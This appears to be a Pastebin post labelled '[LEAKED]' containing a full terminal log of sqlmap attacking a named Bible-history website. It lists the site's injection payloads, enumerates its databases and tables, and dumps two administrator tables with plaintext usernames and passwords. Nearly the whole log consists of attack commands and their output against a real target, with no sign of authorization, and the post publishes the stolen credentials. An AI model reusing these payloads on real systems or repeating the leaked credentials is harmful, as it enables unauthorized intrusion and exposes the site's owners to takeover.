API tools faq
paste
yukinoshita47

[LEAKED] Ancient Israel: Resources - Bible History Online

yukinoshita47
Jul 31st, 2017
633
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.76 KB | None | 0 0
raw download clone embed print report
  1. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 --dbs
  2.  
  3. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  4. http://sqlmap.org
  5.  
  6. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  7.  
  8. [*] starting at 14:42:50
  9.  
  10. [14:42:50] [INFO] testing connection to the target URL
  11. [14:42:51] [INFO] testing if the target URL is stable. This can take a couple of seconds
  12. [14:42:53] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
  13. how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
  14. [14:42:56] [INFO] testing if GET parameter 'id' is dynamic
  15. [14:42:56] [INFO] confirming that GET parameter 'id' is dynamic
  16. [14:42:57] [INFO] GET parameter 'id' is dynamic
  17. [14:42:58] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
  18. [14:42:58] [INFO] testing for SQL injection on GET parameter 'id'
  19. heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
  20. y
  21. [14:43:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  22. [14:43:04] [WARNING] reflective value(s) found and filtering out
  23. [14:43:07] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
  24. [14:43:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  25. [14:43:07] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
  26. [14:43:07] [INFO] testing 'MySQL inline queries'
  27. [14:43:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  28. [14:43:08] [WARNING] time-based comparison requires larger statistical model, please wait...................
  29. [14:43:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
  30. [14:43:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  31. [14:44:19] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable
  32. [14:44:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  33. [14:44:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
  34. [14:44:21] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
  35. [14:44:24] [INFO] target URL appears to have 1 column in query
  36. [14:44:25] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
  37. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
  38. sqlmap identified the following injection points with a total of 40 HTTP(s) requests:
  39. ---
  40. Place: GET
  41. Parameter: id
  42. Type: boolean-based blind
  43. Title: AND boolean-based blind - WHERE or HAVING clause
  44. Payload: id=2 AND 4453=4453
  45.  
  46. Type: error-based
  47. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  48. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  49.  
  50. Type: UNION query
  51. Title: MySQL UNION query (NULL) - 1 column
  52. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  53.  
  54. Type: AND/OR time-based blind
  55. Title: MySQL > 5.0.11 AND time-based blind
  56. Payload: id=2 AND SLEEP(5)
  57. ---
  58. [14:44:28] [INFO] the back-end DBMS is MySQL
  59. web application technology: Apache 2.4.25, PHP 5.5.38
  60. back-end DBMS: MySQL 5.0
  61. [14:44:28] [INFO] fetching database names
  62. available databases [5]:
  63. [*] bible_glossary
  64. [*] bible_history
  65. [*] information_schema
  66. [*] keywords
  67. [*] kidsdict
  68.  
  69. [14:44:29] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  70.  
  71. [*] shutting down at 14:44:29
  72.  
  73. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_glossary --table
  74.  
  75. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  76. http://sqlmap.org
  77.  
  78. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  79.  
  80. [*] starting at 14:45:06
  81.  
  82. [14:45:06] [INFO] resuming back-end DBMS 'mysql'
  83. [14:45:07] [INFO] testing connection to the target URL
  84. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  85. ---
  86. Place: GET
  87. Parameter: id
  88. Type: boolean-based blind
  89. Title: AND boolean-based blind - WHERE or HAVING clause
  90. Payload: id=2 AND 4453=4453
  91.  
  92. Type: error-based
  93. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  94. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  95.  
  96. Type: UNION query
  97. Title: MySQL UNION query (NULL) - 1 column
  98. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  99.  
  100. Type: AND/OR time-based blind
  101. Title: MySQL > 5.0.11 AND time-based blind
  102. Payload: id=2 AND SLEEP(5)
  103. ---
  104. [14:45:08] [INFO] the back-end DBMS is MySQL
  105. web application technology: Apache 2.4.25, PHP 5.5.38
  106. back-end DBMS: MySQL 5.0
  107. [14:45:08] [INFO] fetching tables for database: 'bible_glossary'
  108. Database: bible_glossary
  109. [13 tables]
  110. +-----------------------+
  111. | bible_ref |
  112. | custom_questions |
  113. | glossary |
  114. | groups |
  115. | kjv_verse |
  116. | lookup |
  117. | naves |
  118. | question_comments |
  119. | questions |
  120. | questions_BACKUP |
  121. | questions_copy |
  122. | questions_import_test |
  123. | words |
  124. +-----------------------+
  125.  
  126. [14:45:09] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  127.  
  128. [*] shutting down at 14:45:09
  129.  
  130. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_history --table
  131.  
  132. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  133. http://sqlmap.org
  134.  
  135. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  136.  
  137. [*] starting at 14:45:23
  138.  
  139. [14:45:24] [INFO] resuming back-end DBMS 'mysql'
  140. [14:45:24] [INFO] testing connection to the target URL
  141. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  142. ---
  143. Place: GET
  144. Parameter: id
  145. Type: boolean-based blind
  146. Title: AND boolean-based blind - WHERE or HAVING clause
  147. Payload: id=2 AND 4453=4453
  148.  
  149. Type: error-based
  150. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  151. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  152.  
  153. Type: UNION query
  154. Title: MySQL UNION query (NULL) - 1 column
  155. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  156.  
  157. Type: AND/OR time-based blind
  158. Title: MySQL > 5.0.11 AND time-based blind
  159. Payload: id=2 AND SLEEP(5)
  160. ---
  161. [14:45:25] [INFO] the back-end DBMS is MySQL
  162. web application technology: Apache 2.4.25, PHP 5.5.38
  163. back-end DBMS: MySQL 5.0
  164. [14:45:25] [INFO] fetching tables for database: 'bible_history'
  165. Database: bible_history
  166. [52 tables]
  167. +-----------------------------+
  168. | Emails |
  169. | administrators |
  170. | bh_addform |
  171. | bh_guestbook |
  172. | bho_board_bans |
  173. | bho_board_forums |
  174. | bho_board_posts |
  175. | bho_board_search |
  176. | bho_board_topics |
  177. | bho_board_users |
  178. | bible_book |
  179. | books |
  180. | cat |
  181. | categories |
  182. | chapters |
  183. | chapters1 |
  184. | commentary_jfb |
  185. | eastons |
  186. | guestbook |
  187. | isbe |
  188. | kingjames |
  189. | kjv_verse |
  190. | links |
  191. | mathew |
  192. | naves |
  193. | naves_phrase |
  194. | naves_verse |
  195. | ob_book_abbreviation_lookup |
  196. | outline_chapter |
  197. | outline_major_section |
  198. | questions |
  199. | series |
  200. | smiths |
  201. | smiths_ref |
  202. | sub |
  203. | subjects |
  204. | tbl_dictionary |
  205. | tbl_fausset |
  206. | tbl_gfd |
  207. | tbl_hitchcock |
  208. | tbl_hollman |
  209. | tbl_ibhcategory |
  210. | tbl_ibhsubcategory |
  211. | tbl_image |
  212. | tbl_isbe |
  213. | tbl_sdas |
  214. | tbl_the |
  215. | tbl_tt |
  216. | tbl_vcx |
  217. | user_links |
  218. | web_verse |
  219. | web_verse_bak |
  220. +-----------------------------+
  221.  
  222. [14:45:26] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  223.  
  224. [*] shutting down at 14:45:26
  225.  
  226. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_history -T administrators --columns
  227.  
  228. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  229. http://sqlmap.org
  230.  
  231. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  232.  
  233. [*] starting at 14:45:54
  234.  
  235. [14:45:55] [INFO] resuming back-end DBMS 'mysql'
  236. [14:45:55] [INFO] testing connection to the target URL
  237. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  238. ---
  239. Place: GET
  240. Parameter: id
  241. Type: boolean-based blind
  242. Title: AND boolean-based blind - WHERE or HAVING clause
  243. Payload: id=2 AND 4453=4453
  244.  
  245. Type: error-based
  246. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  247. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  248.  
  249. Type: UNION query
  250. Title: MySQL UNION query (NULL) - 1 column
  251. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  252.  
  253. Type: AND/OR time-based blind
  254. Title: MySQL > 5.0.11 AND time-based blind
  255. Payload: id=2 AND SLEEP(5)
  256. ---
  257. [14:45:56] [INFO] the back-end DBMS is MySQL
  258. web application technology: Apache 2.4.25, PHP 5.5.38
  259. back-end DBMS: MySQL 5.0
  260. [14:45:56] [INFO] fetching columns for table 'administrators' in database 'bible_history'
  261. Database: bible_history
  262. Table: administrators
  263. [5 columns]
  264. +------------------+-------------+
  265. | Column | Type |
  266. +------------------+-------------+
  267. | admin_first_name | varchar(40) |
  268. | admin_id | int(11) |
  269. | admin_last_name | varchar(40) |
  270. | admin_password | varchar(8) |
  271. | admin_username | varchar(15) |
  272. +------------------+-------------+
  273.  
  274. [14:45:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  275.  
  276. [*] shutting down at 14:45:57
  277.  
  278. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_history -T administrators -C admin_first_name,admin_id,admin_last_name,admin_password,admin_username --dump
  279.  
  280. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  281. http://sqlmap.org
  282.  
  283. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  284.  
  285. [*] starting at 14:46:38
  286.  
  287. [14:46:39] [INFO] resuming back-end DBMS 'mysql'
  288. [14:46:39] [INFO] testing connection to the target URL
  289. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  290. ---
  291. Place: GET
  292. Parameter: id
  293. Type: boolean-based blind
  294. Title: AND boolean-based blind - WHERE or HAVING clause
  295. Payload: id=2 AND 4453=4453
  296.  
  297. Type: error-based
  298. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  299. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  300.  
  301. Type: UNION query
  302. Title: MySQL UNION query (NULL) - 1 column
  303. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  304.  
  305. Type: AND/OR time-based blind
  306. Title: MySQL > 5.0.11 AND time-based blind
  307. Payload: id=2 AND SLEEP(5)
  308. ---
  309. [14:46:40] [INFO] the back-end DBMS is MySQL
  310. web application technology: Apache 2.4.25, PHP 5.5.38
  311. back-end DBMS: MySQL 5.0
  312. [14:46:40] [INFO] fetching columns 'admin_first_name, admin_id, admin_last_name, admin_password, admin_username' for table 'administrators' in database 'bible_history'
  313. [14:46:40] [INFO] fetching entries of column(s) 'admin_first_name, admin_id, admin_last_name, admin_password, admin_username' for table 'administrators' in database 'bible_history'
  314. [14:46:41] [INFO] analyzing table dump for possible password hashes
  315. Database: bible_history
  316. Table: administrators
  317. [1 entry]
  318. +----------+----------------+----------------+-----------------+------------------+
  319. | admin_id | admin_username | admin_password | admin_last_name | admin_first_name |
  320. +----------+----------------+----------------+-----------------+------------------+
  321. | 1 | jc | Mos3s | NULL | NULL |
  322. +----------+----------------+----------------+-----------------+------------------+
  323.  
  324. [14:46:41] [INFO] table 'bible_history.administrators' dumped to CSV file '/usr/share/sqlmap/output/www.bible-history.com/dump/bible_history/administrators.csv'
  325. [14:46:41] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  326.  
  327. [*] shutting down at 14:46:41
  328.  
  329. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords --table
  330.  
  331. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  332. http://sqlmap.org
  333.  
  334. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  335.  
  336. [*] starting at 14:47:18
  337.  
  338. [14:47:19] [INFO] resuming back-end DBMS 'mysql'
  339. [14:47:19] [INFO] testing connection to the target URL
  340. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  341. ---
  342. Place: GET
  343. Parameter: id
  344. Type: boolean-based blind
  345. Title: AND boolean-based blind - WHERE or HAVING clause
  346. Payload: id=2 AND 4453=4453
  347.  
  348. Type: error-based
  349. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  350. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  351.  
  352. Type: UNION query
  353. Title: MySQL UNION query (NULL) - 1 column
  354. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  355.  
  356. Type: AND/OR time-based blind
  357. Title: MySQL > 5.0.11 AND time-based blind
  358. Payload: id=2 AND SLEEP(5)
  359. ---
  360. [14:47:20] [INFO] the back-end DBMS is MySQL
  361. web application technology: Apache 2.4.25, PHP 5.5.38
  362. back-end DBMS: MySQL 5.0
  363. [14:47:20] [INFO] fetching tables for database: 'keywords'
  364. Database: keywords
  365. [3 tables]
  366. +----------+
  367. | admin |
  368. | projects |
  369. | style |
  370. +----------+
  371.  
  372. [14:47:21] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  373.  
  374. [*] shutting down at 14:47:21
  375.  
  376. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords --T admin --columns
  377. Usage: python sqlmap [options]
  378.  
  379. sqlmap: error: no such option: --T
  380.  
  381. [*] shutting down at 14:47:33
  382.  
  383. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords -T admin --columns
  384.  
  385. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  386. http://sqlmap.org
  387.  
  388. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  389.  
  390. [*] starting at 14:47:37
  391.  
  392. [14:47:38] [INFO] resuming back-end DBMS 'mysql'
  393. [14:47:38] [INFO] testing connection to the target URL
  394. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  395. ---
  396. Place: GET
  397. Parameter: id
  398. Type: boolean-based blind
  399. Title: AND boolean-based blind - WHERE or HAVING clause
  400. Payload: id=2 AND 4453=4453
  401.  
  402. Type: error-based
  403. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  404. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  405.  
  406. Type: UNION query
  407. Title: MySQL UNION query (NULL) - 1 column
  408. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  409.  
  410. Type: AND/OR time-based blind
  411. Title: MySQL > 5.0.11 AND time-based blind
  412. Payload: id=2 AND SLEEP(5)
  413. ---
  414. [14:47:38] [INFO] the back-end DBMS is MySQL
  415. web application technology: Apache 2.4.25, PHP 5.5.38
  416. back-end DBMS: MySQL 5.0
  417. [14:47:38] [INFO] fetching columns for table 'admin' in database 'keywords'
  418. Database: keywords
  419. Table: admin
  420. [5 columns]
  421. +-----------+--------------+
  422. | Column | Type |
  423. +-----------+--------------+
  424. | user | varchar(255) |
  425. | email | varchar(255) |
  426. | id | int(11) |
  427. | pass | varchar(255) |
  428. | rsltperpg | int(11) |
  429. +-----------+--------------+
  430.  
  431. [14:47:40] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  432.  
  433. [*] shutting down at 14:47:40
  434.  
  435. root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords -T admin -T admin -C user,email,id,pass,rsltperpg --dump
  436.  
  437. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  438. http://sqlmap.org
  439.  
  440. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  441.  
  442. [*] starting at 14:48:07
  443.  
  444. [14:48:07] [INFO] resuming back-end DBMS 'mysql'
  445. [14:48:07] [INFO] testing connection to the target URL
  446. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  447. ---
  448. Place: GET
  449. Parameter: id
  450. Type: boolean-based blind
  451. Title: AND boolean-based blind - WHERE or HAVING clause
  452. Payload: id=2 AND 4453=4453
  453.  
  454. Type: error-based
  455. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  456. Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  457.  
  458. Type: UNION query
  459. Title: MySQL UNION query (NULL) - 1 column
  460. Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
  461.  
  462. Type: AND/OR time-based blind
  463. Title: MySQL > 5.0.11 AND time-based blind
  464. Payload: id=2 AND SLEEP(5)
  465. ---
  466. [14:48:08] [INFO] the back-end DBMS is MySQL
  467. web application technology: Apache 2.4.25, PHP 5.5.38
  468. back-end DBMS: MySQL 5.0
  469. [14:48:08] [INFO] fetching columns 'user, email, id, pass, rsltperpg' for table 'admin' in database 'keywords'
  470. [14:48:09] [INFO] fetching entries of column(s) '`user`, email, id, pass, rsltperpg' for table 'admin' in database 'keywords'
  471. [14:48:10] [INFO] analyzing table dump for possible password hashes
  472. Database: keywords
  473. Table: admin
  474. [1 entry]
  475. +----+---------------+--------------------+--------+-----------+
  476. | id | pass | email | user | rsltperpg |
  477. +----+---------------+--------------------+--------+-----------+
  478. | 1 | affirmative | [email protected] | admin | 2 |
  479. +----+---------------+--------------------+--------+-----------+
  480.  
  481. [14:48:10] [INFO] table 'keywords.admin' dumped to CSV file '/usr/share/sqlmap/output/www.bible-history.com/dump/keywords/admin.csv'
  482. [14:48:10] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
  483.  
  484. [*] shutting down at 14:48:10
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!